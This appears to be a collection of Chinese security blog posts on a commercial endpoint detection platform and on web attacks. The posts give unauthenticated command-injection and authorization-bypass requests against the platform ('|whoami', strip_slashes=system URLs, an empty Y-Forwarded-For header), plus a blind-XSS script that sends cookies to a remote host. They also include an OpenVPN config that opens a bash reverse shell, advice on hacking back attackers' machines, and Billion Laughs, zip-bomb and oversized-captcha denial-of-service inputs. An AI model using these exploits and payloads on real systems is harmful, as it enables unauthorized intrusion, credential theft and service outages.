ldb_execute_app 即可。 ldb_execute_app 函数分析 阅读过«对某终端检测响应平台权限绕过漏洞的审计流程»该分享的读者,大致就能理解这里函数的作用了: /** * @func APP通用入口函数,将联动发来的信息转换成EDR通用的前后端接口 * @param array $args 输入的参数 */ function ldb_execute_app($args) { try { //构造成业务统一处理的接口 $interface_data = get_interface_data($args); // 检验请求信息是否包含注入关键字 $ignore_check = read_ignore_check_info(); if(mongo_injection_check($interface_data, $ignore_check) === TRUE) { response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR); ldb_error("request argv contain mongodb risk keyword, argv=" . json_encode($interface_data)); return ; } //特殊开权限控制函数 special_auth($interface_data); //授权控制 authorize_check($interface_data); ldb_debug("interface_data is " . json_encode($interface_data)); $app = $interface_data["app_args"]["name"]; $constructor = ldb_mapreduce_invoke("get", $app); // 构建应用对象 $instance = call_user_func($constructor); $ret = call_user_func($instance->main, $instance, $interface_data); //响应出错返回相应的状态码 if ($ret) { $err_code = call_user_func($instance->res, $instance); response_linkage_dev_msg($err_code); } // 销毁应用对象 call_user_func($instance->destroy, $instance); } catch(Exception $e){ //通知联动设备 $err_msg = $e->getMessage(); response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR); } } // 入口函数 $args = ldb_argv_get(); ldb_execute_app($args); ldb_execute_app 函数传入参数为变量 $args,该值通过函数 ldb_argv_get 获取,跟进发现就是获取的 URI 部分。 /** * 获取命令行参数 * @return array 返回命令行参数 */ function ldb_argv_get() { if (ldb_is_cli()) { global $argv; return $argv; } $args = array($_SERVER['PHP_SELF']); return $args; } 逻辑梳理与漏洞利用 由于之前的步骤都是逆推,这里我们直接顺着推一遍流程就能理清整个思路了。 假设在此我们访问的是 /api/edr/sangforinter/v2/cssp/slog_client,那就是其传入函数 get_interface_data,由于需要过 check_token,所以访问地址需为 /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=。 而后通过函数 get_opr 得到了 exec_slog_action,再根据 exec_slog_action 获得了具体代码路径 app.web.device_linkage.process_cssp,最后根据 opr、app_name 以及 data( 这里的data需为POST请求方式时才有 )构造数组返回,这里测试就是GET请求,最后返回数据为: array(2) { ["app_args"]=> array(1) { ["name"]=> string(35) "app.web.device_linkage.process_cssp" } ["opr"]=> string(16) "exec_slog_action" } 变量 $interface_data 获取了函数 get_interface_data 的返回值,由于ldb_execute_app 函数代码很多,不过多赘述,有几处授权校验的函数,简单跟踪下看下注释就能了解CSSP请求不处理授权: 回调调用 app.web.device_linkage.process_cssp 的函数 main 传入变量 $instance、$interface_data( 函数 get_interface_data 的返回值 ),那我们跟进 main 函数,又是回调函数调用 exec_slog_action 并传入变量 $object、$params ( 函数 get_interface_data 的返回值 )。 这样无法造成命令执行,我们在之前 exec_slog_action 匿名函数分析 中了解到其要获取 $params['data']['params'] 带入命令执行语句中,由于我们测试的是GET请求,函数 get_interface_data 的返回值并没有 data['params'] 这个key,而刚好函数 get_interface_data 中的变量 $interface_data["data"] 会获取函数 get_body_data 处理请求正文的JSON内容转为数组的结果,所以我们修改请求方法为POST,请求正文为:{"params":"|whoami"},即可进行命令注入从而执行。 // {"params":"|whoami"}` -> array('params' => '|whoami') $interface_data["data"] = array('params' => '|whoami'); POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP/1.1 Host: 192.168.31.136 Connection: close Content-Length: 20 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Content-Type: application/x-www-form-urlencoded Origin: https://192.168.31.136 Referer: https://192.168.31.136/ui/login.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 {"params":"|whoami"} 最后 熟悉了解了整个流程之后,其实还有更多利用点可以挖掘~本文就不过多的赘述了。

2020/9/3
articleCard.readMore

某终端检测响应平台代码审计挖掘(权限绕过)

某终端检测响应平台代码审计挖掘(权限绕过) 前言 前几天收到某终端检测响应平台代码未授权RCE的漏洞情报,基本上被师傅们玩的差不多了,基于其他社群传出的源代码进行代码审计挖掘。 本文不会对太多细节进行描述,仅做一个流程分析和梳理,文中若有不当之处还望各位师傅斧正。 审计流程 其源代码的大致目录如下: . ├── cascade ├── dbint64_to_array.php ├── dbstr_to_int64.php ├── diskio ├── get_auth.php ├── heart_aware.php ├── kill.exe ├── lang ├── ldb ├── ldb.js ├── ldb_collect.php ├── ldb_daemon.php ├── ldb_manage.php ├── ldb_mapreduce.php ├── ldb_master.php ├── ldb_rest.php ├── ldb_rfs.php ├── ldb_stream.php ├── license ├── link_log_second_convert.php ├── locks ├── manage ├── mapreduce ├── mdb ├── mdb.ini ├── mdb_console.php ├── mdb_server.php ├── misc ├── modify_detect_engine_config.php ├── mongo ├── mongo.exe ├── mongo_config ├── mongod ├── mongodump ├── mongoexport ├── mongoexport.exe ├── mongoimport ├── mongoimport.exe ├── mongorestore ├── netshare.bat ├── patch_upgrade_ipc.php ├── php-fpm-start.sh ├── php-trace ├── phptrace ├── platform ├── start.php ├── start.sh ├── start_mongo.sh ├── start_mongo_for_log.sh ├── sync_execute.php ├── timing_update.php ├── unzip ├── update_virusandavscan.php ├── web └── zip 其中/web为Web服务目录,文件均可通过HTTP服务进行访问,顾我们从该目录下的文件下手审计。 ldb_mapreduce_invoke 函数分析 不是一把梭的0day都不叫0day,寻找能勾起兴趣的文件,发现了它(文件名带有upload)/bin/web/divideUploader.php: if($_SERVER['REQUEST_METHOD']=="POST"){ //超时开关打开,后台登录时间不刷新 $update = (isset($_POST['auto']) && $_POST['auto'] == AUTO_FLASH_SWITCH) ? false : true; ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); ... } 访问没有做限制,只要HTTP请求类型为POST就进入上传功能代码逻辑流程,三元运算很简单不用看,我们来看下这段代码: ldb_mapreduce_invoke('call_method','util.common.auth', 'app_auth_check', $update); 跟进函数:ldb_mapreduce_invoke,文件:/bin/mapreduce/core.php(line 19): /* * 全局的mapreduce对象,提供所有map/reduce工作器件的注册和获取接口 */ $ldb_mapreduce = (object)array(); /* * 调用mapduce接口,变参 * @return mix 返回调用接口的返回值 */ function ldb_mapreduce_invoke() { global $ldb_mapreduce; $params = func_get_args(); if (!count($params)) { return false; } //判断参数个数,如果为0则return false; $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } $params[0] = $ldb_mapreduce; return call_user_func($ldb_mapreduce->$func, $params); } 接收自定义参数列表:$params = func_get_args();( 该函数以数组形式返回,获取当前函数的所有传入参数值 ),在这就是array('call_method','util.common.auth', 'app_auth_check', $update) 赋值( $params[0] = 'call_method' ) $func,检查 $func 属性是否存在于指定的类( $ldb_mapreduce )中: $func = $params[0]; if (!property_exists($ldb_mapreduce, $func)) { return false; } 最后call_user_func函数回调,调用$ldb_mapreduce->call_method方法,继续跟进此方法( line 239 ): $ldb_mapreduce->call_method = function ($params) { if (count($params) < 3) { return false; } $object = array_shift($params); $id = array_shift($params); $method = array_shift($params); $object = call_user_func($object->get, array($object, $id)); if (!is_object($object) || !property_exists($object, $method) || !is_callable($object->$method)) { return false; } return call_user_func_array($object->$method, $params); }; 简单理解,这是一个匿名函数,形参 $params( 在这里也就表示array($ldb_mapreduce, 'util.common.auth', 'app_auth_check', $update) ),判断 $params 数组长度是否小于3,在这里明显不小于,所以继续跟进赋值变量,其一一对应内容为: $object = array_shift($params); // -> $ldb_mapreduce $id = array_shift($params); // -> util.common.auth $method = array_shift($params); // -> app_auth_check 赋值完成之后进入回调函数:$object = call_user_func($object->get, array($object, $id));,调用$ldb_mapreduce->get传入array($object, $id)),接下来继续跟进$ldb_mapreduce->get: /* * 获取组件 * @param array $params 参数数组,array(对象, 名称) * @return callable 返回组件构造器,如果没有构造器返回null */ $ldb_mapreduce->get = function ($params) use(&$store_root) { //ldb_info("get params: ".json_encode($params)); list($object, $id) = $params; if (!strstr($id, "@")) { $id = "$id@ldb"; } $fields = preg_split("/[\.\\\\\\/]+/", $id); if (!count($fields)) { return null; } $component = $fields[0]; //ldb_info("$component"); $id = implode("/", $fields); list($path, $base) = explode("@", $id); if (!property_exists($object, $component) || !array_key_exists($id, $object->$component)) { if ($base == "ldb") { $php = dirname(__FILE__)."/$path.php"; } else { $php = "$store_root/$base/bin/$path.php"; } if (!file_exists($php)) { return null; } if (!class_exists("Error")) { require_once($php); } else { try { require_once($php); } catch (Error $e) { ldb_die($e); } } //ldb_info("id: ".$id.",component: ".$object->$component); if (!array_key_exists($id, $object->$component)) { ldb_info("! array_key_exists"); return null; } } $components = $object->$component; return $components[$id]; }; 由于代码过长,很多可以直接在本地调试输出,大概解释下这里的意思,就是将$id = 'util.common.auth';处理变成路径$php = dirname(__FILE__)."/$path.php";,结果就是/bin/mapreduce/util/common/auth.php 接着require_once( 包含 )这个文件,最后将auth.php文件公开的注册接口返回: 至此,我们对ldb_mapreduce_invoke函数的分析就差不多了,最后又是一个call_user_func回调函数调用auth.php接口app_auth_check: return call_user_func_array($func, $params); app_auth_check 函数分析 app_auth_check函数就是检测当前是否具备访问接口权限下,代码如下: $app_auth_check = function ($update=true) use(&$login_authed_check, &$sess_keyvalue_get, &$timeout_check, &$dc_session_destroy, &$login_redirect, &$super_ip_check){ // 自动化放开权限检查 if (ldb_auto_check()) { return true; } // 如果是后台调用app,则不进行权限检查 if (ldb_is_cli()) { return true; } //如果是通过特权IP登陆,则不需要进行权限检查 $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } call_user_func($timeout_check, $update); // 检测是否登录 $login = call_user_func($login_authed_check); if ($login == false) { call_user_func($login_redirect); return false; } // 进行控制台登陆超时检测 /* // app权限检测 $user_auth_info = call_user_func($sess_keyvalue_get, "auth_page_info"); // 检查授权 if (isset($user_auth_info["$page_id"]["auth"])) { $auth = $user_auth_info["$page_id"]["auth"]; if ($auth === true) { return true; } } return false; */ return true; }; 逐个逻辑跟进分析即可,最后发现特权IP登陆的判断有问题: $is_super_ip = call_user_func($super_ip_check); if($is_super_ip){ return true; } 跟进函数super_ip_check,发现这里获取的了HTTP请求头($_SERVER["HTTP_Y_FORWARDED_FOR"] = Y-Forwarded-For)与$super_ip进行判断: $super_ip_check = function() use(&$get_super_ip, &$super_user_check){ $super_ip = call_user_func($get_super_ip); $user_addr = $_SERVER["HTTP_Y_FORWARDED_FOR"]; if($user_addr == $super_ip){ return true; } else{ return call_user_func($super_user_check); } }; 阅读以上代码知道$super_ip是通过回调函数调用get_super_ip的结果,这里还需要再跟进get_super_ip函数: $get_super_ip = function(){ $super_ip_config = ldb_ext_root()."../../dc/config/cssp_super_ip.ini"; $super_ip = ""; if(file_exists($super_ip_config)){ $super_config_data = parse_ini_file($super_ip_config, true); $super_ip = isset($super_config_data["config"]["super_ip"]) ? $super_config_data["config"]["super_ip"] : ""; } return $super_ip; }; 在这段代码中我们得知其需要获取cssp_super_ip.ini文件的内容赋值变量$super_ip再进行return $super_ip,但默认环境下该文件不存在的,也就是说变量$super_ip默认就是空的。 那么我们只需要满足$user_addr == $super_ip这个条件,即可绕过这个函数(权限)检测,简而言之就是请求接口时带有请求头Y-Forwarded-For:即可。 漏洞利用 继续跟进divideUploader.php发现没办法直接利用(限制了上传路径和后缀): 只能上传指定后缀到指定目录: 全局搜索app_auth_check函数发现/bin/mapreduce/目录下的很多接口都在最开始加了一层app_auth_check函数用来做权限判断,那么我们这时候就差一个接口调用的入口即可未授权调用所有接口了。 只能在/bin/web可直接访问目录下寻找,发现/bin/web/launch.php文件,其文件注释就表明了这个文件是应用程序通用执行入口,可以通过分析的方式构建请求( 由于分析逻辑较简单这里就不带大家过一遍了,可以自自行分析 ),也可以通过前台的方式直接抓到该文件的请求: POST请求传递JSON数据: {"opr":"dlogin","app_args":{"name":"app.web.auth.login","options":{}},"data":{"key":175643761}} 其对应关系如下 app_args.name - 对应调用的接口文件 opr - 对应调用的公共接口函数 data - 对应公共接口函数逻辑所需的参数 这里简单翻了下/bin/mapreduce/目录下的一些接口,根据其判断逻辑构建请求包,这里以获取所有终端列表为例( 未授权 ): 未加Y-Forwarded-For头请求,提示需要登陆: 添加后权限绕过,直接可以获取数据: 最后 此漏洞危害可以多接口搭配未授权下发脚本,控制所有植入Agent的服务器权限,影响版本:<3.2.21 吐槽:这套产品的代码逻辑真的太花里胡哨了,逻辑绕来绕去,阅读时可能需要一定耐心,文中省略了一些细节,但我已经尽量写的让大家能明白整个核心逻辑,感谢阅读。

2020/9/3
articleCard.readMore

某终端检测响应平台代码审计分析

某终端检测响应平台代码审计分析 前言 2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id 参数:host,可以修改任意的系统命令进行执行。 原理分析 首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词: $_POST $_GET $_REQUEST 在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数: $show_form($_REQUEST); ... $main($_REQUEST); 先跟进$show_form这个匿名函数: $show_form = function($params) use(&$strip_slashes, &$show_input) { extract($params); $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; $path = isset($path) ? $strip_slashes($path) : ""; $row = isset($row) ? $strip_slashes($row) : ""; $limit = isset($limit) ? $strip_slashes($limit) : 1000; // 绘制表单 echo "<pre>"; echo '<form id="studio" name="studio" method="post" action="">'; $show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1")); $show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce")); $show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s")); $show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100")); echo '<input type="submit" id="button">'; echo '</form>'; echo "</pre>"; }; 变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是array("strip_slashes"=>"system","host"=>"id"); 接下来执行extract($params);,后进入如下代码: $host = isset($host) ? $strip_slashes($host) : "127.0.0.1"; 在这个过程中就产生了漏洞,想要了解具体原因,我们需要了解extract函数的作用,该函数是根据数组的key=>value创建变量$key=value(官方解释:extract — Import variables into the current symbol table from an array) 知道其函数作用之后,我们就大致明白漏洞原因了。 首先函数传入参数值为array("strip_slashes"=>"system","host"=>"id"); 经过extract()函数后,赋值了2个变量: $strip_slashes = 'system'; $host = 'id'; 在第91行代码,变量$host利用三元运算重新赋值$strip_slashes($host) 而实际上其赋值内容是函数system('id')的返回结果,这也就造成了命令执行漏洞。 同类漏洞寻找 首先在全局文件中搜索$_GET、$_POST、$_REQUEST和extract(,其次在这些文件中使用正则寻找变量函数传递变量:\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\) Linux grep寻找命令: grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)" 简单分析获得了另外三处RCE: /tool/php_cli.php?strip_slashes=system&code=id /tool/ldb_cli.php?strip_slashes=system&json=id /tool/mdd_sql.php?strip_slashes=system&root=id 但无法真正利用,三处文件开头都有一个类似文件存活的判断,不存在代码则die退出,而默认环境上是存在: 最后 该套程序还有诸多漏洞未被披露出来,建议采用ACL控制访问或下线该业务,等待官方升级补丁。

2020/9/3
articleCard.readMore

浅谈蓝队反制手段

浅谈蓝队反制手段 前言 网络安全攻防演习在国内已经逐渐常态化,从行业、区域(省份、地市)到部级… 2020年1月份开始到现在可以说基本上每个月都有1-3场HW,红与蓝的对抗从未停息。 红队的攻击技巧可以无穷无尽(扫描器、社工、0day、近源…),但是对于蓝队防守来说除了演习中常规的封IP、下线业务、看日志分析流量等“纯防守”操作以外,似乎实在是没有什么其他的防御手段了。 笔者在参与的几场攻防演习项目中担任“蓝队防守”角色,就发现了这一缺陷,似乎安全防御基础较弱的厂商再怎么充足的进行演习前准备,都只有乖乖的等待被“收割”。 转换一个思维,化被动为主动,尝试用“攻击”思路代入“防守”中,对“红队”进行反向捕获(反制)。 本文将总结案例和“反制”手段,文中不足之处还望各位斧正。 反制手段 蜜罐篇 蜜罐设备 大部分厂商为了争取得到一些分数,都会采购/借用一些厂商的蜜罐设备,但蜜罐也分两类:传统、现代,两者从本质上还是有一定区别的,这里我简单说一下自己的理解。 传统蜜罐:蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的防御能力。 现代蜜罐:除了捕获分析攻击行为外,各类安全厂商在蜜罐产品中加入了“攻击者画像”这一功能作为“卖点”,而本质上攻击者画像是将第三方厂商漏洞转为画像探针,利用第三方厂商漏洞获取攻击者所在此类厂商网站业务上的个人信息,此类漏洞多半为前端类漏洞,例如:JSONP、XSS…除此之外还有网站伪造、自动投放蜜标等等众多丰富的功能。 所以传统蜜罐厂商在这一块的被“需要”不大,而现代蜜罐厂商在这一块往往有需要性很多,就冲“攻击者画像”这一方面在演习过程中就可以为防守方加分。 蜜罐的反制 现代化蜜罐都做了哪些反制的操作呢? 可克隆相关系统页面,伪装“漏洞”系统 互联网端投饵,一般会在Github、Gitee、Coding上投放蜜标(有可能是个单独的网站地址、也有可能是个密码本引诱中招) 利用JSONP、XSS、CSRF等前端类漏洞获取访问蜜标的攻击者网络身份(网络画像) 这样其实一条捕获链就出现了(仅仅是举例,其实更多的是对方在做信息收集的时候探测到了此端口): 蜜罐的一些功能细节不过多赘述,比如利用JavaScript辨别人机、Cookie中种入ID防止切换IP之类的…如有兴趣想深入了解的朋友可以去相关厂商官网下载白皮书观看。 注:在实战演习过程中,仍然有许多攻击者中招,蜜罐会存储身份数据,并且会回传至厂商进行存储。 场景篇 主动攻击“攻击IP” 防守日常就是看流量、分析流量,其中大部分都为扫描器流量,由于一般扫描器都会部署在VPS上,因此我们可以结合流量监测平台反向扫描。 导出演习期间攻击IP列表,对IP进行端口扫描,从Web打入攻击IP机器内部。 发现了一堆攻击IP机器上Web服务的漏洞:SQL注入、弱口令…拿下了一堆机器,也发现了大部分都是“被控主机”,而非购买的VPS,上面也大多是一些正常业务、非法业务在运转。 除此之外,我们对所拿下的主机进行信息收集,发现了一个有意思的点,大部分机器为WAMP(Windows + Apache + Mysql + PHP),而根目录都存在着一个文件images.php。 这是一个PHP脚本后门,我们通过分析该PHP文件又拿下数十台机器,对每台机器进行日志收集,分析IP关联性…整理报告上交裁判组判定。 邮件钓鱼反制 安全防护基础较好的厂商,一般来说除了出动0day,物理近源渗透以外,最常见的就是邮件钓鱼了,在厂商收到邮件钓鱼的情况下,我们可以采取化被动为主动的方式,假装咬钩,实际上诱导攻击者进入蜜网。 北京时间 2019 年 5 月 15 日微软发布安全补丁修复了 CVE 编号为 CVE-2019-0708 的 Windows 远程桌面服务(RDP)远程代码执行漏洞,该漏洞在不需身份认证的情况下即可远程触发,危害与影响面极大。 受影响操作系统版本: | Windows 7 | Windows Server 2008 R2 | Windows Server 2008 | Windows Server 2003 | Windows XP 由于该漏洞与去年的“Wannacry”勒索病毒具有相同等级的危害,由总行信息科技部研究决定,先推行紧急漏洞加固补丁,确保业务网、办公网全部修补漏洞,详情请阅读加固手册。 加固补丁程序解压密码:xxxx xx信息科技部 xxxxx xxx年xx月xx日 在某次演习期间,我们防守的客户单位就收到了钓鱼邮件,庆幸的是客户总体安全意识很强,加上有邮件沙箱的加持,并没有实际人员中招,而我们将计就计,部署一套虚假的内网环境,伪造钓鱼邮件中招假象,中招人员画像和机器环境编排: 名字:许晋 (jinxu) 身份:巡检职员 平时上机内容:看视频、打游戏、巡检 系统软件:Office三件套, 搜狗输入法, QQ, 微信, Xmind, 谷歌浏览器, Winrar, 迅雷, 百度网盘, Everything, 爱奇艺, 腾讯视频, QQ音乐, 网易云音乐, FastStone Capture…. 系统环境:除了部署一些常见的系统软件,我们还要创建一系列工作文档(手工伪造、由客户提供非敏感公开数…),并在众多的工作文档中携带了我们部署的免杀后门(伪装成VPN安装包或办公软件)。 目的:点开钓鱼邮件的附件,假装中招后,让攻击者在翻当前PC机器的时候寻找到我们投下的假密码本,并结合VPN安装包,使得攻击者下载VPN安装包并进行安装,从而进行反向控制。 其中具体细节不过多赘述,套路都一样,在多次演习中都成功的反制到了攻击队的VPS,甚至在演习中我们拿下了攻击队的终端PC… 盲打攻击反制 盲打攻击算是在演习中比较不常见的了,因为其效率不高,没办法直接的直控权限,但在攻击方穷途末路的时候往往也会选择使用盲打漏洞的方式来获取权限进而深入,比较常见的就属于盲打XSS了。 一般盲打XSS都具备一个数据回传接口(攻击者需要接收Cookie之类的数据),接口在JavaScript代码中是可以寻找到的,我们可以利用数据回传接口做2件事情: 打脏数据回传给XSS平台(捣乱) 打虚假数据回传给XSS平台(诱导) 通常选择第二种方式更有意义,当然实在不行的情况下我们还是可以选择捣乱的… 首先,我们获取到了XSS盲打的代码: '"><sCRiPt sRC=https://XXXX/shX36></sCrIpT> 跟进SRC属性对应值(地址),获得如下JavaScript代码: (function(){(new Image()).src='https://XXXX/xss.php?do=api&id=shX36&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='https://XXXX/xss.php?do=keepsession&id=shX36&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; 通过该段代码我们可以知道数据都回传到了这个接口上:https://XXXX/xss.php?do=api&id=shX36&location=地址&toplocation=地址&cookie=Cookie信息&opener= 我们制定了一个计划:发送假数据前往攻击者所使用的XSS信息接收平台,诱导攻击者进入蜜罐。 资源准备:公网域名解析蜜罐地址(需要客户网络安全部门具备一定的权利),蜜罐(需要具备蜜罐产品)伪造假后台,并部署虚假准入客户端下载;(【细节】当攻击者Cookie伪造进后台时会提示:当前登录IP不在准入名单) 万事俱备只欠东风,对应参数传入虚假诱导数据(Location地址为查看留言信息的地址,Toplocation为引用该界面的地址,将用户名、密码写入到Cookie中配合“准入客户端”的诱导攻击)发送过去,等待攻击队上钩。 技巧篇 技巧篇不过多讲解,懂得自然懂。 虚假备份文件 配合蜜罐部署虚假漏洞,例如备份文件(WWW.rar)配合CVE-2018-20250漏洞。 参考:https://github.com/WyAtu/CVE-2018-20250 OpenVPN配置后门 OpenVPN配置文件(OVPN文件,是提供给OpenVPN客户端或服务器的配置文件)是可以修改并加入命令的。 OVPN文件最简单的形式如下: remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun 以上文件表示,客户端会以开放的,不用身份验证或加密方式去连接IP为192.168.31.137的远程服务,在此过程中,会建立一种名为tun的路由模式,用它来在系统不同客户端间执行点对点协议,例如,这里的tun路由模式下,tun客户端为10.200.0.2,tun服务端为10.200.0.1,也就是本地的tun设备地址。这里的三行OVPN配置文件只是一个简单的示例,真正应用环境中的OVPN文件随便都是数百行,其中包含了很多复杂的功能配置。 OpenVPN 配置功能的 up 命令可以使得添加配置文件后执行我们所想让其执行的命令,官方文档中有说明:https://openvpn.net/community-resources/reference-manual-for-openvpn-2-0/ 成功启用 TUN/TAP 模式后的 cmd 命令。 该cmd命令中包含了一个脚本程序执行路径和可选的多个执行参数。这种执行路径和参数可由单引号或双引号,或者是反斜杠来强调,中间用空格区分。up命令可用于指定路由,这种模式下,发往VPN另一端专用子网的IP流量会被路由到隧道中去。 本质上,up命令会执行任何你指向的脚本程序。如果受害者使用的是支持/dev/tcp的Bash命令版本,那么在受害者系统上创建一个反弹控制 shell 轻而易举。就如以下OVPN文件中就可创建一个连接到 192.168.31.138:9090 的反弹shell。 remote 192.168.31.137 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.31.138/9090 0<&1 2>&1&'" 需要注意的是,up 命令需要成功连接主机才会执行,也就是说192.168.31.137需要真实存在。 兵器漏洞 可以尝试挖掘蚁剑、冰蝎、菜刀、BurpSuite、SQLmap、AWVS的0day漏洞(需要一定的技术水平),或利用历史漏洞部署相关环境进行反打,例如蚁剑:https://gitee.com/mirrors/antSword/blob/master/CHANGELOG.md 历史版本中出现诸多XSS漏洞->RCE: 文末 只要思维活跃,枯燥无味的一件事情也可以变得生动有趣,生活如此,工作亦如此。 蓝队反制,需要具备这几个条件才能淋漓尽至的挥洒出来: 客户安全相关部门的权力要高 以自家厂商为主导的防守项目 最好具备现成的现代蜜罐产品 未来,攻防对抗演习不仅仅是前几年所展示的那样:蓝队只要知道防守手段;而趋势将会慢慢的偏向于真正的攻防,蓝队不仅要会基本的防守手段,还要具备强悍的对抗能力,与红队进行对抗,这对蓝队成员的攻防技术水平也是一种更高的考验。 最后的最后:HACK THE WORLD - TO DO IT. Reference 对某攻击队的Webshell进行分析 - https://gh0st.cn/archives/2019-08-21/1 从OpenVPN配置文件中创建反弹Shell实现用户系统控制 - https://www.freebuf.com/articles/terminal/175862.html

2020/9/3
articleCard.readMore

Web层面上的那些拒绝服务攻击(DoS)

Web层面上的那些拒绝服务攻击(DoS) 声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Vulkey_Chen(戴城)不为此承担任何责任。 Vulkey_Chen(戴城)拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。 未经Vulkey_Chen(戴城)允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 本文所需一定基础知识方能顺畅的进行阅读和理解,基础知识请读者自行搜索学习。 前言 相信很多师傅都了解DDoS攻击,也就是分布式拒绝服务,但这类攻击在很多时候拼的是资源,从攻击者的角度来看进行此类攻击还是需要一定“成本”的,从受害者的角度来看防御此类攻击的“成本”更是昂贵! 拒绝服务是一个老生常谈的话题,而发生在Web层面的拒绝服务风险一直不被重视;虽然其不如RCE、SQLi之类的漏洞更加直接的影响数据和服务,但令服务器宕机这类风险还是不容小视。 试想如果攻击者去利用不费成本的Web层拒绝服务风险造成服务器、应用、模块…瘫痪宕机,岂不是令那些斥巨资建设/购买“DDoS防护”一脸懵~ 原理及案例 资源生成大小可控 现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险。 此类场景多为:图片验证码、二维码 实际场景 图片验证码在登录、注册、找回密码…等功能比较常见: 关注一下接口地址:https://attack/validcode?w=130&h=53 参数值:w=130&h=53,我们可以理解为生成的验证码大小长为130,宽为53 可以将w=130修改为w=130000000000000000,让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。 Zip炸弹 不知道各位有没有听说过Zip炸弹,一个42KB的压缩文件(Zip),解压完其实是个4.5PB的“炸弹”。 先不说4.5PB这个惊人的大小,光解压都会占用极大的内存。 该文件的下载地址:https://www.bamsoftware.com/hacks/zipbomb/42.zip 解压这个42.zip以后会出现16个压缩包,每个压缩包又包含16个,如此循环5次,最后得到16的5次方个文件,也就是1048576个文件,这一百多万个最终文件,每个大小为4.3GB。 因此整个解压过程结束以后,会得到 1048576 * 4.6 GB = 4508876.8 GB,也就是 4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB。 通过以上说明,我们可以寻找存在解压功能的Web场景进行拒绝服务攻击,但是这里有一个前置条件就是需要解压并可以递归解压。 那我们想要完成这一攻击就非常的困难了,“前辈”也提到了非递归的Zip炸弹,也就是没有嵌套Zip文件文件的,如下表格: 名称 解压结果 zbsm.zip 42 kB → 5.5 GB zblg.zip 10 MB → 281 TB zbxl.zip 46 MB → 4.5 PB (Zip64, less compatible) 存在解压功能的Web场景还是比较多的,可以根据实际业务场景进行寻找。 实际场景 根据实际业务场景发现一处上传模板文件功能,根据简单的测试,发现此处上传Zip文件会自动解压: 这里我选择上传zbsm.zip上去,看一下服务器反应: 这里整个服务的请求都没有返回结果,成功造成拒绝服务。 XDoS(XML拒绝服务攻击) XDoS,XML拒绝服务攻击,其就是利用DTD产生XML炸弹,当服务端去解析XML文档时,会迅速占用大量内存去解析,下面我们来看几个XML文档的例子。 Billion Laughs 据说这被称为十亿大笑DoS攻击,其文件内容为: <!DOCTYPE keyz [ <!ENTITY key "key"> <!ENTITY key2 "&key;&key;&key;&key;&key;&key;&key;&key;&key;&key;"> <!ENTITY key3 "&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;"> <!ENTITY key4 "&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;"> <!ENTITY key5 "&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;"> <!ENTITY key6 "&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;"> <!ENTITY key7 "&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;"> <!ENTITY key8 "&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;"> <!ENTITY key9 "&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;"> ]> <keyz>&key9;</keyz> 